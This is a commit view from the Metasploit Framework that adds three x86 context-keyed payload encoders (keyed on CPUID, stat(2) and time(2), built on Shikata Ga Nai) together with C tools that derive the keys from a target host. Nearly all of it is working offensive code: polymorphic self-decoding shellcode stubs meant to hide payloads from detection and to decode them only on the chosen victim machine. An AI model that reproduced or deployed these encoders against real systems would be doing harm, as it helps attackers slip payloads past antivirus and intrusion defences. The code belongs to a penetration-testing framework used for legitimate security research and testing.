Browse Source

Add new context-keyed encoders from Dimitris Glynos ( http://census-labs.com/news/2010/06/04/athcon-2010-update/ )


git-svn-id: file:///home/svn/framework3/trunk@9457 4d416f70-5f16-0410-b530-b9f4589650
HD Moore 9 years ago
parent
commit
74a68138fc

+ 201
- 0
modules/encoders/x86/context_cpuid.rb View File

@@ -0,0 +1,201 @@
1
+##
2
+# This file is part of the Metasploit Framework and may be subject to 
3
+# redistribution and commercial restrictions. Please see the Metasploit
4
+# Framework web site for more information on licensing and terms of use.
5
+# http://metasploit.com/framework/
6
+##
7
+
8
+require 'rex/poly'
9
+require 'msf/core'
10
+
11
+class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
12
+
13
+	# Manual ranking because the cpuid value is generated and supplied
14
+	# manually...
15
+
16
+	Rank = ManualRanking
17
+
18
+	def initialize
19
+		super(
20
+			'Name'             => 'CPUID-based Context Keyed Payload Encoder',
21
+			'Version'          => '$Revision: 1$',
22
+			'Description'      => %q{
23
+				This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai.
24
+			},
25
+			'Author'           => 'Dimitris Glynos',
26
+			'Arch'             => ARCH_X86,
27
+			'License'          => MSF_LICENSE,
28
+			'Decoder'          =>
29
+				{
30
+					'KeySize'    => 4,
31
+					'BlockSize'  => 4
32
+				})
33
+
34
+		register_options(
35
+                                [
36
+                                OptString.new('CPUID_KEY', 
37
+					[ true, 
38
+					"CPUID key from target host (see tools/context/cpuid-key utility)", 
39
+					"0x00000000"]),
40
+                                ], self.class)   
41
+	end
42
+
43
+        def obtain_key(buf, badchars, state)
44
+		state.key = datastore['CPUID_KEY'].hex
45
+		return state.key
46
+        end
47
+
48
+	#
49
+	# Generates the shikata decoder stub.
50
+	#
51
+	def decoder_stub(state)
52
+		# If the decoder stub has not already been generated for this state, do
53
+		# it now.  The decoder stub method may be called more than once.
54
+		if (state.decoder_stub == nil)
55
+			# Shikata will only cut off the last 1-4 bytes of it's own end
56
+			# depending on the alignment of the original buffer
57
+			cutoff = 4 - (state.buf.length & 3)
58
+			block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
59
+
60
+			# Take the last 1-4 bytes of shikata and prepend them to the buffer
61
+			# that is going to be encoded to make it align on a 4-byte boundary.
62
+			state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
63
+
64
+			# Cache this decoder stub.  The reason we cache the decoder stub is
65
+			# because we need to ensure that the same stub is returned every time
66
+			# for a given encoder state. 
67
+			state.decoder_stub = block
68
+		end
69
+
70
+		state.decoder_stub
71
+	end
72
+
73
+protected
74
+	def keygen_stub
75
+		payload =
76
+                        "\x31\xf6" + 	 # xor %esi,%esi
77
+                        "\x31\xff" + 	 # xor %edi,%edi
78
+                        "\x89\xf8" + 	 # cpuid_loop: mov %edi,%eax
79
+                        "\x31\xc9" + 	 # xor %ecx,%ecx
80
+                        "\x0f\xa2" + 	 # cpuid
81
+                        "\x31\xc6" + 	 # xor %eax,%esi
82
+                        "\x39\xf0" + 	 # cmp %esi,%eax
83
+                        "\x75\x03" + 	 # jne not_first_time
84
+			"\x8d\x78\x01" + # lea 0x1(%eax,1),%edi			
85
+                        "\x31\xde" +     # not_first_time: xor %ebx,%esi
86
+                        "\x31\xce" +     # xor %ecx,%esi
87
+                        "\x31\xd6" +     # xor %edx,%esi
88
+                        "\x83\xef\x01" + # sub $0x1,%edi
89
+                        "\x75\xe6" +     # jne cpuid_loop
90
+			"\x89\xf0"       # mov %esi,%eax
91
+	end
92
+	#
93
+	# Returns the set of FPU instructions that can be used for the FPU block of
94
+	# the decoder stub.
95
+	#
96
+	def fpu_instructions
97
+		fpus = []
98
+	
99
+		0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
100
+		0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
101
+		0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
102
+		0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
103
+		0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
104
+	
105
+		fpus << "\xd9\xd0"
106
+		fpus << "\xd9\xe1"
107
+		fpus << "\xd9\xf6"
108
+		fpus << "\xd9\xf7"
109
+		fpus << "\xd9\xe5"
110
+	
111
+		# This FPU instruction seems to fail consistently on Linux
112
+		#fpus << "\xdb\xe1"
113
+	
114
+		fpus
115
+	end
116
+
117
+	#
118
+	# Returns a polymorphic decoder stub that is capable of decoding a buffer
119
+	# of the supplied length and encodes the last cutoff bytes of itself.
120
+	#
121
+	def generate_shikata_block(state, length, cutoff)
122
+		# Declare logical registers
123
+		key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
124
+		count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
125
+		addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
126
+
127
+		# Declare individual blocks
128
+		endb = Rex::Poly::SymbolicBlock::End.new
129
+
130
+		# FPU blocks
131
+		fpu = Rex::Poly::LogicalBlock.new('fpu',
132
+			*fpu_instructions)
133
+		fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
134
+			"\xd9\x74\x24\xf4")
135
+		
136
+		# Get EIP off the stack
137
+		popeip = Rex::Poly::LogicalBlock.new('popeip',
138
+			Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
139
+
140
+		# Clear the counter register
141
+		clear_register = Rex::Poly::LogicalBlock.new('clear_register',
142
+			"\x31\xc9",
143
+			"\x29\xc9",
144
+			"\x33\xc9",
145
+			"\x2b\xc9")
146
+
147
+		# Initialize the counter after zeroing it
148
+		init_counter = Rex::Poly::LogicalBlock.new('init_counter')
149
+
150
+		# Divide the length by four but ensure that it aligns on a block size
151
+		# boundary (4 byte).
152
+		length += 4 + (4 - (length & 3)) & 3
153
+		length /= 4
154
+
155
+		if (length <= 255)
156
+			init_counter.add_perm("\xb1" + [ length ].pack('C'))
157
+		else
158
+			init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
159
+		end
160
+
161
+		# Key initialization block
162
+		
163
+		# Decoder loop block
164
+		loop_block = Rex::Poly::LogicalBlock.new('loop_block')
165
+
166
+		xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
167
+		xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
168
+		xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
169
+		add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
170
+		add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
171
+		add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
172
+		sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
173
+		add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
174
+
175
+		loop_block.add_perm(
176
+			Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
177
+			Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
178
+			Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
179
+			Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
180
+			Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
181
+			Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
182
+		
183
+		# Loop instruction block
184
+		loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', 
185
+			"\xe2\xf5")
186
+
187
+		# Define block dependencies
188
+		fnstenv.depends_on(fpu)
189
+		popeip.depends_on(fnstenv)
190
+		init_counter.depends_on(clear_register)
191
+		loop_block.depends_on(popeip, init_counter)
192
+		loop_inst.depends_on(loop_block)
193
+
194
+		# Generate a permutation saving the EAX, ECX and ESP registers
195
+		loop_inst.generate([
196
+			Rex::Arch::X86::EAX,	
197
+			Rex::Arch::X86::ESP,
198
+			Rex::Arch::X86::ECX ], nil, state.badchars)
199
+	end
200
+
201
+end

+ 206
- 0
modules/encoders/x86/context_stat.rb View File

@@ -0,0 +1,206 @@
1
+##
2
+# This file is part of the Metasploit Framework and may be subject to 
3
+# redistribution and commercial restrictions. Please see the Metasploit
4
+# Framework web site for more information on licensing and terms of use.
5
+# http://metasploit.com/framework/
6
+##
7
+
8
+require 'rex/poly'
9
+require 'msf/core'
10
+
11
+class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
12
+
13
+	# Manual ranking because the stat(2) key is generated and supplied
14
+	# manually.
15
+
16
+	Rank = ManualRanking
17
+
18
+	def initialize
19
+		super(
20
+			'Name'             => 'stat(2)-based Context Keyed Payload Encoder',
21
+			'Version'          => '$Revision$',
22
+			'Description'      => %q{
23
+				This is a Context-Keyed Payload Encoder based on stat(2)
24
+				and Shikata Ga Nai.
25
+			},
26
+			'Author'           => 'Dimitris Glynos',
27
+			'Arch'             => ARCH_X86,
28
+			'License'          => MSF_LICENSE,
29
+			'Decoder'          =>
30
+				{
31
+					'KeySize'    => 4,
32
+					'BlockSize'  => 4
33
+				})
34
+
35
+		register_options(
36
+                                [
37
+                                OptString.new('STAT_KEY', 
38
+					[ true, 
39
+				  	"STAT key from target host (see tools/context/stat-key utility)",
40
+				  	"0x00000000"]),
41
+				OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls"]),
42
+                                ], self.class)   
43
+	end
44
+
45
+        def obtain_key(buf, badchars, state)
46
+		state.key = datastore['STAT_KEY'].hex
47
+		return state.key
48
+        end
49
+
50
+	#
51
+	# Generates the shikata decoder stub.
52
+	#
53
+	def decoder_stub(state)
54
+		# If the decoder stub has not already been generated for this state, do
55
+		# it now.  The decoder stub method may be called more than once.
56
+		if (state.decoder_stub == nil)
57
+			# Shikata will only cut off the last 1-4 bytes of it's own end
58
+			# depending on the alignment of the original buffer
59
+			cutoff = 4 - (state.buf.length & 3)
60
+			block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
61
+
62
+			# Take the last 1-4 bytes of shikata and prepend them to the buffer
63
+			# that is going to be encoded to make it align on a 4-byte boundary.
64
+			state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
65
+
66
+			# Cache this decoder stub.  The reason we cache the decoder stub is
67
+			# because we need to ensure that the same stub is returned every time
68
+			# for a given encoder state. 
69
+			state.decoder_stub = block
70
+		end
71
+
72
+		state.decoder_stub
73
+	end
74
+
75
+protected
76
+	def keygen_stub
77
+		fname = datastore['STAT_FILE']
78
+		flen = fname.length
79
+
80
+		payload =
81
+	                "\xd9\xee" +    # fldz
82
+		"\xd9\x74\x24\xf4" +    # fnstenv -0xc(%esp)
83
+			    "\x5b" +    # pop %ebx
84
+    Rex::Arch::X86.jmp_short(flen) +    # jmp over
85
+			     fname +    # the filename
86
+		    "\x83\xc3\x09" +    # over: add $9, %ebx
87
+			"\x8d\x53" +  	# lea filelen(%ebx), %edx
88
+     Rex::Arch::X86.pack_lsb(flen) +    #
89
+			"\x31\xc0" +	# xor %eax,%eax
90
+			"\x88\x02" + 	# mov %al,(%edx)
91
+		"\x8d\x4c\x24\xa8" +    # lea -0x58(%esp),%ecx
92
+			"\xb0\xc3" +	# mov $0xc3, %al
93
+			"\xcd\x80" + 	# int $0x80
94
+	            "\x8b\x41\x2c" +	# mov 0x2c(%ecx),%eax
95
+		    "\x33\x41\x48" 	# xor 0x48(%ecx),%eax
96
+	end
97
+	#
98
+	# Returns the set of FPU instructions that can be used for the FPU block of
99
+	# the decoder stub.
100
+	#
101
+	def fpu_instructions
102
+		fpus = []
103
+	
104
+		0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
105
+		0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
106
+		0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
107
+		0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
108
+		0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
109
+	
110
+		fpus << "\xd9\xd0"
111
+		fpus << "\xd9\xe1"
112
+		fpus << "\xd9\xf6"
113
+		fpus << "\xd9\xf7"
114
+		fpus << "\xd9\xe5"
115
+	
116
+		# This FPU instruction seems to fail consistently on Linux
117
+		#fpus << "\xdb\xe1"
118
+	
119
+		fpus
120
+	end
121
+
122
+	#
123
+	# Returns a polymorphic decoder stub that is capable of decoding a buffer
124
+	# of the supplied length and encodes the last cutoff bytes of itself.
125
+	#
126
+	def generate_shikata_block(state, length, cutoff)
127
+		# Declare logical registers
128
+		key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
129
+		count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
130
+		addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
131
+
132
+		# Declare individual blocks
133
+		endb = Rex::Poly::SymbolicBlock::End.new
134
+
135
+		# FPU blocks
136
+		fpu = Rex::Poly::LogicalBlock.new('fpu',
137
+			*fpu_instructions)
138
+		fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
139
+			"\xd9\x74\x24\xf4")
140
+		
141
+		# Get EIP off the stack
142
+		popeip = Rex::Poly::LogicalBlock.new('popeip',
143
+			Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
144
+
145
+		# Clear the counter register
146
+		clear_register = Rex::Poly::LogicalBlock.new('clear_register',
147
+			"\x31\xc9",
148
+			"\x29\xc9",
149
+			"\x33\xc9",
150
+			"\x2b\xc9")
151
+
152
+		# Initialize the counter after zeroing it
153
+		init_counter = Rex::Poly::LogicalBlock.new('init_counter')
154
+
155
+		# Divide the length by four but ensure that it aligns on a block size
156
+		# boundary (4 byte).
157
+		length += 4 + (4 - (length & 3)) & 3
158
+		length /= 4
159
+
160
+		if (length <= 255)
161
+			init_counter.add_perm("\xb1" + [ length ].pack('C'))
162
+		else
163
+			init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
164
+		end
165
+
166
+		# Key initialization block
167
+		
168
+		# Decoder loop block
169
+		loop_block = Rex::Poly::LogicalBlock.new('loop_block')
170
+
171
+		xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
172
+		xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
173
+		xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
174
+		add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
175
+		add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
176
+		add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
177
+		sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
178
+		add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
179
+
180
+		loop_block.add_perm(
181
+			Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
182
+			Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
183
+			Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
184
+			Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
185
+			Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
186
+			Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
187
+		
188
+		# Loop instruction block
189
+		loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', 
190
+			"\xe2\xf5")
191
+
192
+		# Define block dependencies
193
+		fnstenv.depends_on(fpu)
194
+		popeip.depends_on(fnstenv)
195
+		init_counter.depends_on(clear_register)
196
+		loop_block.depends_on(popeip, init_counter)
197
+		loop_inst.depends_on(loop_block)
198
+
199
+		# Generate a permutation saving the EAX, ECX and ESP registers
200
+		loop_inst.generate([
201
+			Rex::Arch::X86::EAX,
202
+			Rex::Arch::X86::ESP,
203
+			Rex::Arch::X86::ECX ], nil, state.badchars)
204
+	end
205
+
206
+end

+ 191
- 0
modules/encoders/x86/context_time.rb View File

@@ -0,0 +1,191 @@
1
+##
2
+# This file is part of the Metasploit Framework and may be subject to 
3
+# redistribution and commercial restrictions. Please see the Metasploit
4
+# Framework web site for more information on licensing and terms of use.
5
+# http://metasploit.com/framework/
6
+##
7
+
8
+require 'rex/poly'
9
+require 'msf/core'
10
+
11
+class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
12
+
13
+	# Manual ranking because the time(2) key is generated and supplied
14
+	# manually.
15
+
16
+	Rank = ManualRanking
17
+
18
+	def initialize
19
+		super(
20
+			'Name'             => 'time(2)-based Context Keyed Payload Encoder',
21
+			'Version'          => '$Revision: 1$',
22
+			'Description'      => %q{
23
+				This is a Context-Keyed Payload Encoder based on time(2)
24
+				and Shikata Ga Nai.
25
+			},
26
+			'Author'           => 'Dimitris Glynos',
27
+			'Arch'             => ARCH_X86,
28
+			'License'          => MSF_LICENSE,
29
+			'Decoder'          =>
30
+				{
31
+					'KeySize'    => 4,
32
+					'BlockSize'  => 4
33
+				})
34
+
35
+		register_options(
36
+                                [
37
+                                OptString.new('TIME_KEY', 
38
+					[ true, 
39
+				  	"TIME key from target host (see tools/context/time-key utility)",
40
+				  	"0x00000000"])
41
+                                ], self.class)   
42
+	end
43
+
44
+        def obtain_key(buf, badchars, state)
45
+		state.key = datastore['TIME_KEY'].hex
46
+		return state.key
47
+        end
48
+
49
+	#
50
+	# Generates the shikata decoder stub.
51
+	#
52
+	def decoder_stub(state)
53
+		# If the decoder stub has not already been generated for this state, do
54
+		# it now.  The decoder stub method may be called more than once.
55
+		if (state.decoder_stub == nil)
56
+			# Shikata will only cut off the last 1-4 bytes of it's own end
57
+			# depending on the alignment of the original buffer
58
+			cutoff = 4 - (state.buf.length & 3)
59
+			block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
60
+
61
+			# Take the last 1-4 bytes of shikata and prepend them to the buffer
62
+			# that is going to be encoded to make it align on a 4-byte boundary.
63
+			state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
64
+
65
+			# Cache this decoder stub.  The reason we cache the decoder stub is
66
+			# because we need to ensure that the same stub is returned every time
67
+			# for a given encoder state. 
68
+			state.decoder_stub = block
69
+		end
70
+
71
+		state.decoder_stub
72
+	end
73
+
74
+protected
75
+	def keygen_stub
76
+		payload =
77
+			"\x31\xdb" + 	 # xor %ebx,%ebx
78
+			"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax
79
+			"\xcd\x80" +	 # int $0x80
80
+			"\x66\x31\xc0"	 # xor %ax,%ax
81
+	end
82
+	#
83
+	# Returns the set of FPU instructions that can be used for the FPU block of
84
+	# the decoder stub.
85
+	#
86
+	def fpu_instructions
87
+		fpus = []
88
+	
89
+		0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
90
+		0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
91
+		0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
92
+		0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
93
+		0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
94
+	
95
+		fpus << "\xd9\xd0"
96
+		fpus << "\xd9\xe1"
97
+		fpus << "\xd9\xf6"
98
+		fpus << "\xd9\xf7"
99
+		fpus << "\xd9\xe5"
100
+	
101
+		# This FPU instruction seems to fail consistently on Linux
102
+		#fpus << "\xdb\xe1"
103
+	
104
+		fpus
105
+	end
106
+
107
+	#
108
+	# Returns a polymorphic decoder stub that is capable of decoding a buffer
109
+	# of the supplied length and encodes the last cutoff bytes of itself.
110
+	#
111
+	def generate_shikata_block(state, length, cutoff)
112
+		# Declare logical registers
113
+		key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
114
+		count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
115
+		addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')
116
+	
117
+		# Declare individual blocks
118
+		endb = Rex::Poly::SymbolicBlock::End.new
119
+
120
+		# FPU blocks
121
+		fpu = Rex::Poly::LogicalBlock.new('fpu',
122
+			*fpu_instructions)
123
+		fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
124
+			"\xd9\x74\x24\xf4")
125
+		
126
+		# Get EIP off the stack
127
+		popeip = Rex::Poly::LogicalBlock.new('popeip',
128
+			Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
129
+
130
+		# Clear the counter register
131
+		clear_register = Rex::Poly::LogicalBlock.new('clear_register',
132
+			"\x31\xc9",
133
+			"\x29\xc9",
134
+			"\x33\xc9",
135
+			"\x2b\xc9")
136
+
137
+		# Initialize the counter after zeroing it
138
+		init_counter = Rex::Poly::LogicalBlock.new('init_counter')
139
+
140
+		# Divide the length by four but ensure that it aligns on a block size
141
+		# boundary (4 byte).
142
+		length += 4 + (4 - (length & 3)) & 3
143
+		length /= 4
144
+
145
+		if (length <= 255)
146
+			init_counter.add_perm("\xb1" + [ length ].pack('C'))
147
+		else
148
+			init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
149
+		end
150
+
151
+		# Key initialization block
152
+		
153
+		# Decoder loop block
154
+		loop_block = Rex::Poly::LogicalBlock.new('loop_block')
155
+
156
+		xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
157
+		xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
158
+		xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
159
+		add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
160
+		add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
161
+		add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
162
+		sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
163
+		add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
164
+
165
+		loop_block.add_perm(
166
+			Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
167
+			Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
168
+			Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
169
+			Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
170
+			Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
171
+			Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
172
+		
173
+		# Loop instruction block
174
+		loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', 
175
+			"\xe2\xf5")
176
+
177
+		# Define block dependencies
178
+		fnstenv.depends_on(fpu)
179
+		popeip.depends_on(fnstenv)
180
+		init_counter.depends_on(clear_register)
181
+		loop_block.depends_on(popeip, init_counter)
182
+		loop_inst.depends_on(loop_block)
183
+
184
+		# Generate a permutation saving the EAX, ECX and ESP registers
185
+		loop_inst.generate([
186
+			Rex::Arch::X86::EAX,
187
+			Rex::Arch::X86::ESP,
188
+			Rex::Arch::X86::ECX ], nil, state.badchars)
189
+	end
190
+
191
+end

+ 11
- 0
tools/context/Makefile View File

@@ -0,0 +1,11 @@
1
+# Minimalistic Makefile for key generators used in 
2
+# context-keyed payload encoding.
3
+#
4
+# Author: Dimitris Glynos <dimitris@census-labs.com>
5
+
6
+KEYGENS=cpuid-key time-key stat-key
7
+
8
+default: $(KEYGENS)
9
+
10
+clean:
11
+	rm -f $(KEYGENS)

+ 38
- 0
tools/context/cpuid-key.c View File

@@ -0,0 +1,38 @@
1
+/*
2
+ * outputs a cpuid key for use in context keyed payload encoding.
3
+ *
4
+ * Author: Dimitris Glynos <dimitris at census-labs.com>
5
+ */
6
+
7
+
8
+#include <stdio.h>
9
+
10
+int main()
11
+{
12
+	unsigned long eax;
13
+
14
+        asm (
15
+		"xorl %%esi, %%esi;" /* esi is key store, zero it out */
16
+		"xorl %%edi, %%edi;" /* edi is loop iterator, ditto */
17
+		"cpuid_loop: movl %%edi, %%eax;" /* iterator is first arg 
18
+                                                    to cpuid */
19
+		"xorl %%ecx, %%ecx;" /* ecx is also used as arg to cpuid but
20
+                                        we'll use it always as zero */
21
+		"cpuid;"
22
+		"xorl %%eax, %%esi;"
23
+		"cmpl %%esi, %%eax;" 	/* first time round esi = eax */
24
+					/* not very safe heh? */
25
+		"jne not_first_time;"
26
+		"leal 0x1(%%eax, 1), %%edi;" /* first time round ... */
27
+		"not_first_time: xorl %%ebx, %%esi;"
28
+		"xorl %%ecx, %%esi;"
29
+		"xorl %%edx, %%esi;"
30
+		"subl $1, %%edi;"
31
+		"jne cpuid_loop;"
32
+		"movl %%esi, %%eax;"
33
+                : "=a" (eax)
34
+        );
35
+
36
+	printf("%#.8lx\n", eax);
37
+	return 0;
38
+}

+ 34
- 0
tools/context/stat-key.c View File

@@ -0,0 +1,34 @@
1
+/*
2
+ * Given a filename, outputs a 32bit key for use in 
3
+ * context keyed payload encoding. The key is derived from
4
+ * XOR-ing the st_size and st_mtime fields of the
5
+ * relevant struct stat for this file.
6
+ *
7
+ * Author: Dimitris Glynos <dimitris at census-labs.com>
8
+ */
9
+
10
+#include <stdio.h>
11
+#include <sys/stat.h>
12
+#include <sys/types.h>
13
+#include <unistd.h>
14
+
15
+int main(int argc, char *argv[])
16
+{
17
+	char *filename;
18
+	struct stat stat_buf;
19
+
20
+	if (argc != 2) {
21
+		fprintf(stderr, "usage: %s <filename>\n", argv[0]);
22
+		return 1;
23
+	}
24
+
25
+	filename = argv[1];
26
+	
27
+	if (stat(filename, &stat_buf) == -1) {
28
+		perror("error while stat(2)-ing file");
29
+		return 1;
30
+	} 	
31
+
32
+	printf("%#.8lx\n", stat_buf.st_mtime ^ stat_buf.st_size);
33
+	return 0;
34
+}

+ 55
- 0
tools/context/time-key.c View File

@@ -0,0 +1,55 @@
1
+/*
2
+ * Outputs the value of time(2) with the 16 least significant bits zeroed out.
3
+ * For use in context keyed payload encoding.
4
+ *
5
+ * Author: Dimitris Glynos <dimitris at census-labs.com>
6
+ */
7
+
8
+#include <stdlib.h>
9
+#include <stdio.h>
10
+#define __USE_XOPEN
11
+#include <time.h>
12
+
13
+char *app = NULL;
14
+
15
+void croak_usage(void)
16
+{
17
+	fprintf(stderr, "usage: %s [date & time]\n"
18
+		"\tSupported date & time format: 'YYYY-MM-DD HH:MM:SS'\n"
19
+		"\te.g. %s '2003-11-04 14:23:10'\n",
20
+		app, app);
21
+	exit(1);
22
+}
23
+
24
+time_t parse_time(const char *input)
25
+{
26
+	struct tm t;
27
+	char *p;
28
+
29
+	p = strptime(input, "%Y-%m-%d %H:%M:%S", &t);
30
+
31
+	if ((!p) || (*p != '\0')) {
32
+		fprintf(stderr, "error while processing time spec!\n");
33
+		croak_usage();
34
+	}
35
+
36
+	return mktime(&t);
37
+}
38
+
39
+int main(int argc, char *argv[])
40
+{
41
+	time_t t;
42
+
43
+	app = argv[0];
44
+
45
+	if (argc > 2)
46
+		croak_usage();
47
+
48
+	if (argc == 2) 
49
+		t = parse_time(argv[1]);
50
+	else 
51
+		t = time(NULL);
52
+
53
+	printf("%#.8lx\n", t & 0xffff0000);
54
+	return 0;
55
+}

Loading…
Cancel
Save